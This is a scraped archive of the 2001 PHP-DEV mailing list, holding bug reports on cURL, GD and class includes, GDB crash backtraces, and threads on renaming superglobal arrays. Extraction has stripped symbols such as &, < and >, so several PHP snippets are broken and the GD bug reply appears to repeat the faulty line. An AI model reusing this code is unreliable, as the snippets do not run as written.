'--enable-yp' '--with-zlib' --- Full Bug description available at: http://bugs.php.net/?id=11731 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Bug #11833 Updated: Unsufficient docs
Huh? You're wrong here..PHP_SELF is found in HTTP_SERVER_VARS.. --Jani On 2 Jul 2001 [EMAIL PROTECTED] wrote: ID: 11833 Updated by: goba Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Documentation problem Operating system: PHP Version: 4.0.6 Assigned To: Comments: $PHP_SELF is not an environment variable, nor a server variable, it is a special PHP variable, so it wont be registered in any arrays you listed Previous Comments: --- [2001-07-02 06:53:24] [EMAIL PROTECTED] There isn't enough information, from which assosiative array we can acces to predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in $HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) localization. Regards --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11833edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
RE: [PHP-DEV] Bug #11833 Updated: Unsufficient docs
Title: RE: [PHP-DEV] Bug #11833 Updated: Unsufficient docs Huh? You're wrong here..PHP_SELF is found in HTTP_SERVER_VARS.. I understand :) Goba
[PHP-DEV] Bug #11833 Updated: Unsufficient docs
ID: 11833 User Update by: [EMAIL PROTECTED] Status: Open Bug Type: Documentation problem Operating system: any PHP Version: 4.0.6 Description: Unsufficient docs I don't agree. I just disable register_global by setting it Off. Now I can't acces simply $PHP_SELF - returned string is empty. When I get $HTTP_SERVER_VARS[PHP_SELF], the return string is such as the $PHP_SELF with register_global On. Maybe it isn't docs bug, but devel bug? Previous Comments: --- [2001-07-02 07:06:16] [EMAIL PROTECTED] $PHP_SELF is not an environment variable, nor a server variable, it is a special PHP variable, so it wont be registered in any arrays you listed --- [2001-07-02 06:53:24] [EMAIL PROTECTED] There isn't enough information, from which assosiative array we can acces to predefined variables, when register globals is not set. Espesially $PHP_SELF isn't in $HTTP_ENV_VARS but $HTTP_SERVER_VARS, which mean not intuos (in my opinion) localization. Regards --- Full Bug description available at: http://bugs.php.net/?id=11833 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Tidying up the language
Hi guys, I agree that, given a new Zend engine, it is the best of times to rework the language. I think Phil is right in pointing out that all functions/extensions need to be implemented along standardised lines. It would be best if, once there is concensus on such a frame work, it were set in (relatively firm) concrete so that extensions which people work on between now and the function-standardised-tidy-php-with-Zend2 release work, at least for users, with the said release. This will ensure that even though there will be many a script in ruin, it will be minimalised. On Mon, 2 Jul 2001, Jani Taskinen wrote: On Mon, 2 Jul 2001, Phil Driscoll wrote: Make function names case sensitive (and all lower case) Rename functions to make them consistent Address the order of arguments to functions so that needles and haystacks are consistent Adding these to the BBC-TODO: - Remove all BC aliases for functions. If we're breaking BC, break it hard. Perhaps we could provide a script to translate previously aliased functions to the correct equivalent. No reason why it couldn't be done for sed (except that we'll have cranky windows users). Rather than start near infinite threads on the nitty gritty details of what and how to change things, can we first establish a concensus on whether to have a go now or later, and see if we have enough people prepared to put in the hours. Count me in. Gavin -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] I can't unsubscribe . . .
Hi all! Please, somebody, let me out of this list. I trying to use the normal ways to unsubscribe, but never works! Thank you very much! Regards Cesar. -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11804 Updated: curl_error results strange strings
ID: 11804 Updated by: sterling Reported By: [EMAIL PROTECTED] Status: Open Bug Type: cURL related Operating system: PHP Version: 4.0 Latest CVS (2001-06-29) Assigned To: Comments: Fixed in cvs. Previous Comments: --- [2001-06-29 13:46:53] [EMAIL PROTECTED] Hi, - cURL 7.8, PHP CVS, Apache 1.3.20, linux-i686 curl_errno doesnt work with follow code: -- ?php $url=http://www.foo.com;; $ch = curl_init ($url); $header_file = fopen (header_curl.dat, w); $content_file = fopen (content_curl.dat, w); curl_setopt ($ch, CURLOPT_FILE, $content_file); curl_setopt ($ch, CURLOPT_WRITEHEADER, $header_file); curl_setopt ($ch, CURLOPT_REFERER, $url); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt ($ch, CURLOPT_NOPROGRESS, true); curl_setopt ($ch, CURLOPT_TIMEOUT, 30); $result=curl_exec ($ch); $returncode=curl_getinfo($ch, CURLINFO_HTTP_CODE); $totaltime=curl_getinfo($ch,CURLINFO_TOTAL_TIME); $realurl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL); $contentsize=curl_getinfo($ch,CURLINFO_SIZE_DOWNLOAD); if (curl_errno($ch)0){ $error=curl_error($ch); echo $error; } fclose($header_file); fclose($content_file); ? -- curl_errno($ch) results a wrong error number and also curl_error($ch) contains broken strings. -- Steve --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11804edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11804 Updated: curl_error results strange strings
ID: 11804 Updated by: sterling Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Closed Bug Type: cURL related Operating system: PHP Version: 4.0 Latest CVS (2001-06-29) Assigned To: Comments: . Previous Comments: --- [2001-07-02 08:06:34] [EMAIL PROTECTED] Fixed in cvs. --- [2001-06-29 13:46:53] [EMAIL PROTECTED] Hi, - cURL 7.8, PHP CVS, Apache 1.3.20, linux-i686 curl_errno doesnt work with follow code: -- ?php $url=http://www.foo.com;; $ch = curl_init ($url); $header_file = fopen (header_curl.dat, w); $content_file = fopen (content_curl.dat, w); curl_setopt ($ch, CURLOPT_FILE, $content_file); curl_setopt ($ch, CURLOPT_WRITEHEADER, $header_file); curl_setopt ($ch, CURLOPT_REFERER, $url); curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt ($ch, CURLOPT_NOPROGRESS, true); curl_setopt ($ch, CURLOPT_TIMEOUT, 30); $result=curl_exec ($ch); $returncode=curl_getinfo($ch, CURLINFO_HTTP_CODE); $totaltime=curl_getinfo($ch,CURLINFO_TOTAL_TIME); $realurl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL); $contentsize=curl_getinfo($ch,CURLINFO_SIZE_DOWNLOAD); if (curl_errno($ch)0){ $error=curl_error($ch); echo $error; } fclose($header_file); fclose($content_file); ? -- curl_errno($ch) results a wrong error number and also curl_error($ch) contains broken strings. -- Steve --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11804edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11287 Updated: CURLOPT_WRITEHEADER crashes PHP
ID: 11287 Updated by: sterling Reported By: [EMAIL PROTECTED] Old-Status: Analyzed Status: Closed Bug Type: cURL related Operating system: PHP Version: 4.0 Latest CVS (22/6 2001) Assigned To: Comments: Fixed in CVS. Previous Comments: --- [2001-06-22 12:52:30] [EMAIL PROTECTED] Crashes with latest CVS, GDB backtrace: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 1024 (runnable)] 0x406b441a in curl_write (data=0x832a218 HTTP/1.1 200 OKrn, size=1, nmemb=17, ctx=0x832a548) at curl.c:259 259 php_curl_write *t = ch-handlers-write; (gdb) bt #0 0x406b441a in curl_write (data=0x832a218 HTTP/1.1 200 OKrn, size=1, nmemb=17, ctx=0x832a548) at curl.c:259 #1 0x41405a68 in Curl_client_write (data=0x832ad88, type=2, ptr=0x832a218 HTTP/1.1 200 OKrn, len=17) at sendf.c:246 #2 0x414122db in Transfer (c_conn=0x83256c0) at transfer.c:616 #3 0x41412c94 in Curl_perform (curl=0x832ad88) at transfer.c:873 #4 0x41412fd2 in curl_easy_perform (curl=0x832ad88) at easy.c:151 #5 0x406b64ce in php_if_curl_exec (ht=1, return_value=0x832ad6c, this_ptr=0x0, return_value_used=1) at curl.c:794 #6 0x4066b477 in execute (op_array=0x832549c) at ./zend_execute.c:1554 #7 0x4067bf50 in zend_execute_scripts (type=8, file_count=3) at zend.c:750 #8 0x40694fa3 in php_execute_script (primary_file=0xb54c) at main.c:1265 #9 0x406902ce in apache_php_module_main (r=0x832008c, display_source_mode=0) at sapi_apache.c:90 #10 0x40691079 in send_php (r=0x832008c, display_source_mode=0, filename=0x8321b04 /www/apache/htdocs/curl.php) at mod_php4.c:581 #11 0x406910c2 in send_parsed_php (r=0x832008c) at mod_php4.c:594 #12 0x80554f9 in ap_invoke_handler () at md4.c:255 #13 0x806a44f in process_request_internal () at md4.c:255 #14 0x806a4ba in ap_process_request () at md4.c:255 #15 0x8061306 in child_main () at md4.c:255 #16 0x80614e1 in make_child () at md4.c:255 #17 0x806165c in startup_children () at md4.c:255 #18 0x8061ccc in standalone_main () at md4.c:255 #19 0x806251c in main () at md4.c:255 #20 0x400d6c03 in __libc_start_main (main=0x8062164 main, argc=2, argv=0xb81c, init=0x804f3e0 _init, fini=0x8099f94 _fini, rtld_fini=0x4000bbc0 _dl_fini, stack_end=0xb814) at ../sysdeps/generic/libc-start.c:92 --- [2001-06-05 10:30:21] [EMAIL PROTECTED] in PHP-4.0.6RC2(RC1) scripts crashes if you use in cURL the CURLOPT_WRITEHEADER option. in php-4.0.4pl1 it works correct... eg.: $ch = curl_init (http://foo.bar.com;); $header_file = fopen (header_curl.dat, w); curl_setopt ($ch, CURLOPT_WRITEHEADER, $header_file); $result=curl_exec ($ch); if ($header_file) fclose ($header_file); -- Steve --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11287edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11834: ImageType() IMG_GIF GD 1.8.4
From: [EMAIL PROTECTED] Operating system: Linux Redhat 7.1 2.4.2 PHP version: 4.0.5 PHP Bug Type: GD related Bug description: ImageType() IMG_GIF GD 1.8.4 Trying: if (ImageTypes() IMG_GIF) { echo 'GIFS enabled'; $im = imagecreatefromgif('img.gif'); } Still works with GD library that does not support GIFS producing 'Warning: ImageCreateFromGif: No GIF support in this PHP build' - it should not have got that far! './configure' '--with-mysql=/usr/local/mysql' '--enable-track-vars' '--enable-safe-mode' '--with-apxs=/usr/local/apache/bin/apxs' '--with-zlib=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' '--with-png-dir=/usr/local' '--enable-shared' '--with-sablot=/usr/local' '--enable-sablot-errors-descriptive' '--with-xml' '--no-create' '--no-recursion' -- Edit Bug report at: http://bugs.php.net/?id=11834edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11834 Updated: ImageType() IMG_GIF GD 1.8.4
ID: 11834 Updated by: sterling Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Closed Bug Type: GD related Operating system: PHP Version: 4.0.5 Assigned To: Comments: That's incorrect code, its: if (ImageTypes() IMG_GIF) { Previous Comments: --- [2001-07-02 08:32:45] [EMAIL PROTECTED] Trying: if (ImageTypes() IMG_GIF) { echo 'GIFS enabled'; $im = imagecreatefromgif('img.gif'); } Still works with GD library that does not support GIFS producing 'Warning: ImageCreateFromGif: No GIF support in this PHP build' - it should not have got that far! './configure' '--with-mysql=/usr/local/mysql' '--enable-track-vars' '--enable-safe-mode' '--with-apxs=/usr/local/apache/bin/apxs' '--with-zlib=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' '--with-png-dir=/usr/local' '--enable-shared' '--with-sablot=/usr/local' '--enable-sablot-errors-descriptive' '--with-xml' '--no-create' '--no-recursion' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11834edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11834 Updated: ImageType() IMG_GIF GD 1.8.4
ID: 11834 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Closed Status: Bogus Bug Type: GD related Operating system: PHP Version: 4.0.5 Assigned To: Comments: User error = bogus Previous Comments: --- [2001-07-02 08:36:05] [EMAIL PROTECTED] That's incorrect code, its: if (ImageTypes() IMG_GIF) { --- [2001-07-02 08:32:45] [EMAIL PROTECTED] Trying: if (ImageTypes() IMG_GIF) { echo 'GIFS enabled'; $im = imagecreatefromgif('img.gif'); } Still works with GD library that does not support GIFS producing 'Warning: ImageCreateFromGif: No GIF support in this PHP build' - it should not have got that far! './configure' '--with-mysql=/usr/local/mysql' '--enable-track-vars' '--enable-safe-mode' '--with-apxs=/usr/local/apache/bin/apxs' '--with-zlib=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' '--with-png-dir=/usr/local' '--enable-shared' '--with-sablot=/usr/local' '--enable-sablot-errors-descriptive' '--with-xml' '--no-create' '--no-recursion' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11834edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11834 Updated: ImageType() IMG_GIF GD 1.8.4
ID: 11834 User Update by: [EMAIL PROTECTED] Status: Bogus Bug Type: GD related Operating system: Linux Redhat 7.1 2.4.2 PHP Version: 4.0.5 Description: ImageType() IMG_GIF GD 1.8.4 Oops! RTFM Again! Previous Comments: --- [2001-07-02 08:40:39] [EMAIL PROTECTED] User error = bogus --- [2001-07-02 08:36:05] [EMAIL PROTECTED] That's incorrect code, its: if (ImageTypes() IMG_GIF) { --- [2001-07-02 08:32:45] [EMAIL PROTECTED] Trying: if (ImageTypes() IMG_GIF) { echo 'GIFS enabled'; $im = imagecreatefromgif('img.gif'); } Still works with GD library that does not support GIFS producing 'Warning: ImageCreateFromGif: No GIF support in this PHP build' - it should not have got that far! './configure' '--with-mysql=/usr/local/mysql' '--enable-track-vars' '--enable-safe-mode' '--with-apxs=/usr/local/apache/bin/apxs' '--with-zlib=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' '--with-png-dir=/usr/local' '--enable-shared' '--with-sablot=/usr/local' '--enable-sablot-errors-descriptive' '--with-xml' '--no-create' '--no-recursion' --- Full Bug description available at: http://bugs.php.net/?id=11834 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11834 Updated: ImageType() IMG_GIF GD 1.8.4
ID: 11834 User Update by: [EMAIL PROTECTED] Status: Bogus Bug Type: GD related Operating system: Linux Redhat 7.1 2.4.2 PHP Version: 4.0.5 Description: ImageType() IMG_GIF GD 1.8.4 Thanks! Previous Comments: --- [2001-07-02 08:43:17] [EMAIL PROTECTED] Oops! RTFM Again! --- [2001-07-02 08:40:39] [EMAIL PROTECTED] User error = bogus --- [2001-07-02 08:36:05] [EMAIL PROTECTED] That's incorrect code, its: if (ImageTypes() IMG_GIF) { --- [2001-07-02 08:32:45] [EMAIL PROTECTED] Trying: if (ImageTypes() IMG_GIF) { echo 'GIFS enabled'; $im = imagecreatefromgif('img.gif'); } Still works with GD library that does not support GIFS producing 'Warning: ImageCreateFromGif: No GIF support in this PHP build' - it should not have got that far! './configure' '--with-mysql=/usr/local/mysql' '--enable-track-vars' '--enable-safe-mode' '--with-apxs=/usr/local/apache/bin/apxs' '--with-zlib=/usr/local/lib' '--with-gd' '--with-gd-dir=/usr' '--with-jpeg-dir=/usr/local' '--with-png-dir=/usr/local' '--enable-shared' '--with-sablot=/usr/local' '--enable-sablot-errors-descriptive' '--with-xml' '--no-create' '--no-recursion' --- Full Bug description available at: http://bugs.php.net/?id=11834 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11337 Updated: SEGV when using mysql connections in OO-setting
ID: 11337 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Scripting Engine problem Operating system: RedHat Linux 7.1 PHP Version: 4.0.5 Description: SEGV when using mysql connections in OO-setting Honestly, I haven't tried it. After the problems we had with 4.0.5, our client (and I) decided to move to the more familiar territory of Java. I believe that I still have a setup on which I could test 4.0.6 beta, so I'll try to get to that this week. I'll post something as soon as I know. Thanks for your time, -chris Previous Comments: --- [2001-06-27 22:39:57] [EMAIL PROTECTED] Does this happen with PHP 4.0.6 ? --- [2001-06-08 14:14:13] [EMAIL PROTECTED] Please try latest RC from: http://www.php.net/~andi/php-4.0.6RC3.tar.gz --Jani --- [2001-06-07 16:04:48] [EMAIL PROTECTED] The following is the gdb backtrace of the crash (which I can reproduce every time i click the 'reload' button in my browser). I'd be happy to send the scripts to you (there are several of them that work together, since each object is in it's own script file). I have been having some other strange problems like trying to free mysql result resources or close mysql connections and getting warnings that those link or resource id's are not valid. Here's the vital statistics: OS: RedHat i386 Linux 7.1 with all updates applied from RedHat MySQL: 3.23.38-1 (RPM from mysql.com) Apache: 1.3.20, compiled locally (--enable-module=so) PHP: 4.0.5 compiled/linked against mysql and apache as a DSO (--with-apxs=... --with-xml --with-mysql) I'm using a standard configuration file with one change: the 'include_path' has been set to include the scripts necessary for my application. There are no path conflicts (that is, the file X.php does not exist relative to the executing script AS WELL AS in the include_path). Thank you for your time. -chris (Chris Schultz) Stack Trace: (gdb) run -X Starting program: /usr/local/apache-1.3.20/bin/./httpd -X Program received signal SIGSEGV, Segmentation fault. 0x400f7d89 in __libc_free (mem=0x813c848) at malloc.c:3055 3055malloc.c: No such file or directory. in malloc.c (gdb) bt #0 0x400f7d89 in __libc_free (mem=0x813c848) at malloc.c:3055 #1 0x401ccf64 in _efree (ptr=0x813c854) at zend_alloc.c:238 #2 0x401cd447 in shutdown_memory_manager (silent=1, clean_cache=0) at zend_alloc.c:439 #3 0x401f525a in php_request_shutdown (dummy=0x0) at main.c:680 #4 0x401f2df9 in php_apache_request_shutdown (dummy=0x0) at mod_php4.c:290 #5 0x080676b8 in run_cleanups () at eval.c:41 #6 0x08065f82 in ap_clear_pool () at eval.c:41 #7 0x08066002 in ap_destroy_pool () at eval.c:41 #8 0x08065f6e in ap_clear_pool () at eval.c:41 #9 0x080756c5 in child_main () at eval.c:41 #10 0x08075cb8 in make_child () at eval.c:41 #11 0x08075e2c in startup_children () at eval.c:41 #12 0x0807647f in standalone_main () at eval.c:41 #13 0x08076ca7 in main () at eval.c:41 #14 0x40094177 in __libc_start_main (main=0x8076908 main, argc=2, ubp_av=0xbacc, init=0x804ed5c _init, fini=0x80abb90 _fini, rtld_fini=0x4000e184 _dl_fini, stack_end=0xbabc) at ../sysdeps/generic/libc-start.c:129 (gdb) --- Full Bug description available at: http://bugs.php.net/?id=11337 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;
(a) I agree that the names are long (b) Remember that you can change the name by simply assigning it around (e.g., $GET_A = $HTTP_GET_VARS) (c) I think that $GET_A is ugly :) I'd go for something along the lines of $__GET (d) Having these variables available on every function means that it's going to slow things down, so it's a no-no. What we can do is do something along the lines of $GLOBALS - where it is available in every function that *uses* it. The drawback here is that it means it will not be available via indirect reference (i.e., $foo = __GET, $$foo[bar]). I don't think it's a serious drawback though. Zeev At 15:07 2/7/2001, Derick Rethans wrote: Hello list, sometimes I use PHP too, and today I noticed the things I described here. Per coincidence, Jani, who is working on the new bugsystem, had the same thoughts about this. I'll describe the problem now: All the arrays which hold the vars are not in de global name space, you you will always need to use the global keyword, or something like $GLOBALS[HTTP_SESSION_VARS][username]; As you all can see, that's way to long and cumbersome to type. Just see this example: global $HTTP_GET_VARS; global $HTTP_POST_VARS; global $HTTP_COOKIE_VARS; if( empty($HTTP_GET_VARS['PHPSESSID']) empty($HTTP_POST_VARS['PHPSESSID']) empty($HTTP_COOKIE_VARS['PHPSESSID']) !empty($sessid) I think this looks much better: if ( empty ($GET_A['PHPSESSID']) empty ($POST_A['PHPSESSID']) empty ($COOKIE_A['PHPSESSID']) !empty ($sessid)) I propose to change the names of the arrays and to make these arrays available in all functions, this will both eliminate the use of the global keyword, and will shorten the names significantly. This will speed op coding of course. Our proposal is to use the now second word of the array, postfixed by _A (array). regards, Jani Taskinen Derick Rethans -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;
At 14:07 7/2/2001, Derick Rethans wrote the following: -- Hello list, sometimes I use PHP too, and today I noticed the things I described here. Per coincidence, Jani, who is working on the new bugsystem, had the same thoughts about this. I'll describe the problem now: All the arrays which hold the vars are not in de global name space, you you will always need to use the global keyword, or something like $GLOBALS[HTTP_SESSION_VARS][username]; As you all can see, that's way to long and cumbersome to type. Just see this example: global $HTTP_GET_VARS; global $HTTP_POST_VARS; global $HTTP_COOKIE_VARS; if( empty($HTTP_GET_VARS['PHPSESSID']) empty($HTTP_POST_VARS['PHPSESSID']) empty($HTTP_COOKIE_VARS['PHPSESSID']) !empty($sessid) I think this looks much better: if ( empty ($GET_A['PHPSESSID']) empty ($POST_A['PHPSESSID']) empty ($COOKIE_A['PHPSESSID']) !empty ($sessid)) encapsulation! I propose to change the names of the arrays and to make these arrays available in all functions, this will both eliminate the use of the global keyword, and will shorten the names significantly. This will speed op coding of course. Our proposal is to use the now second word of the array, postfixed by _A (array). It will also (IMNSHO) lessen the readability of the code. And slow down things pretty much -- all that copying all over the place. I don't like it. And $GET_A['var'] looks like a function pointer to some fetching function, $POST['var'] would post $var somewhere... Dunno what would $COOKIE_A do. :) PHP is my primary language (99% of time work done in it). regards, Jani Taskinen Derick Rethans [EMAIL PROTECTED] - And the eyes of them both were opened and they saw that their files were world readable and writable, so they chmoded 600 their files. - Book of Installation chapt 3 sec 7 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11835: Include and Require does not work inner a class definition.
From: [EMAIL PROTECTED] Operating system: win nt 4 PHP version: 4.0.4pl1 PHP Bug Type: Scripting Engine problem Bug description: Include and Require does not work inner a class definition. Require nor Include works inner a class file. This is the file where I define the class: = 1.php = ? class test { include(2.php); //the same with require } ? = end = And this is the file where I have content. = 2.php = ? var $a=1; function method1 () { $this-a++; } ? = end = This does not work. The error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' -- Edit Bug report at: http://bugs.php.net/?id=11835edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11835 Updated: Include and Require does not work inner a class definition.
ID: 11835 Updated by: jan Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Closed Bug Type: Scripting Engine problem Operating system: PHP Version: 4.0.4pl1 Assigned To: Comments: include is not allowed there, use the constructor instead class { function class () { include('2.php'); //same with require } } Previous Comments: --- [2001-07-02 09:14:57] [EMAIL PROTECTED] Require nor Include works inner a class file. This is the file where I define the class: = 1.php = ? class test { include(2.php); //the same with require } ? = end = And this is the file where I have content. = 2.php = ? var $a=1; function method1 () { $this-a++; } ? = end = This does not work. The error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11835edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] global HTTP_(POST|GET|SESSION|SERVER|COOKIE)_VARS;
On Mon, 2 Jul 2001, Zeev Suraski wrote: (a) I agree that the names are long (b) Remember that you can change the name by simply assigning it around (e.g., $GET_A = $HTTP_GET_VARS) I know this, but then you'll end up with: $GET_A = $GLOBALS[HTTP_GET_VARS]; $POST_A = $GLOBALS[HTTP_POST_VARS]; ... and this is what I don't like in every function :) (c) I think that $GET_A is ugly :) I'd go for something along the lines of $__GET I agree with that, $GET_A was just a proposal. (d) Having these variables available on every function means that it's going to slow things down, so it's a no-no. What we can do is do something along the lines of $GLOBALS - where it is available in every function that *uses* it. The drawback here is that it means it will not be available via indirect reference (i.e., $foo = __GET, $$foo[bar]). I don't think it's a serious drawback though. I think this would be excellent. I don't see any reason why I would even want to use $foo = __GET; regards, Derick Rethans - PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED] SRM: Site Resource Manager - www.vl-srm.net - -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11835 Updated: Include and Require does not work inner a class definition.
ID: 11835 User Update by: [EMAIL PROTECTED] Status: Closed Bug Type: Scripting Engine problem Operating system: win nt 4 PHP Version: 4.0.4pl1 Description: Include and Require does not work inner a class definition. Well include is not allowed there is not sufficient. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. - Original Message - ID: 11835 Old-Status: Open Status: Closed Bug Type: Scripting Engine problem include is not allowed there, use the constructor instead class { function class () { include('2.php'); //same with require } } Previous Comments: --- [2001-07-02 09:14:57] [EMAIL PROTECTED] Require nor Include works inner a class file. This is the file where I define the class: = 1.php = ? class test { include(2.php); //the same with require } ? = end = And this is the file where I have content. = 2.php = ? var $a=1; function method1 () { $this-a++; } ? = end = This does not work. The error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- Previous Comments: --- [2001-07-02 09:19:33] [EMAIL PROTECTED] include is not allowed there, use the constructor instead class { function class () { include('2.php'); //same with require } } --- [2001-07-02 09:14:57] [EMAIL PROTECTED] Require nor Include works inner a class file. This is the file where I define the class: = 1.php = ? class test { include(2.php); //the same with require } ? = end = And this is the file where I have content. = 2.php = ? var $a=1; function method1 () { $this-a++; } ? = end = This does not work. The error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' --- Full Bug description available at: http://bugs.php.net/?id=11835 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11836: Require nor Include works inner a class file
From: [EMAIL PROTECTED] Operating system: ms nt 4 PHP version: 4.0.4pl1 PHP Bug Type: Scripting Engine problem Bug description: Require nor Include works inner a class file Require nor Include works inner a class file. I have 200+ classes that have a common declaration of variables and methods. Everytime I need to modify this declarations I have to modify this 200+ files. If I could use require or include there I had only one file to modify. This is the file where I define the class, it's only a LITTLE example: = class_test.php = ? class test { var $b=0; var $c=1; function test() { //this is the constructor //some code here } include(common_declarations.php); //same with require } ? end And this is the file where I have the common declarations for 200+ files. = common_declarations.php = ? var $common_variable1=1; function common_method1 () { $this-b++; } function common_method2 ($p=1) { $this-b=$p; } //etc ? = end = This does not work, the error is: Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' -- Edit Bug report at: http://bugs.php.net/?id=11836edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] 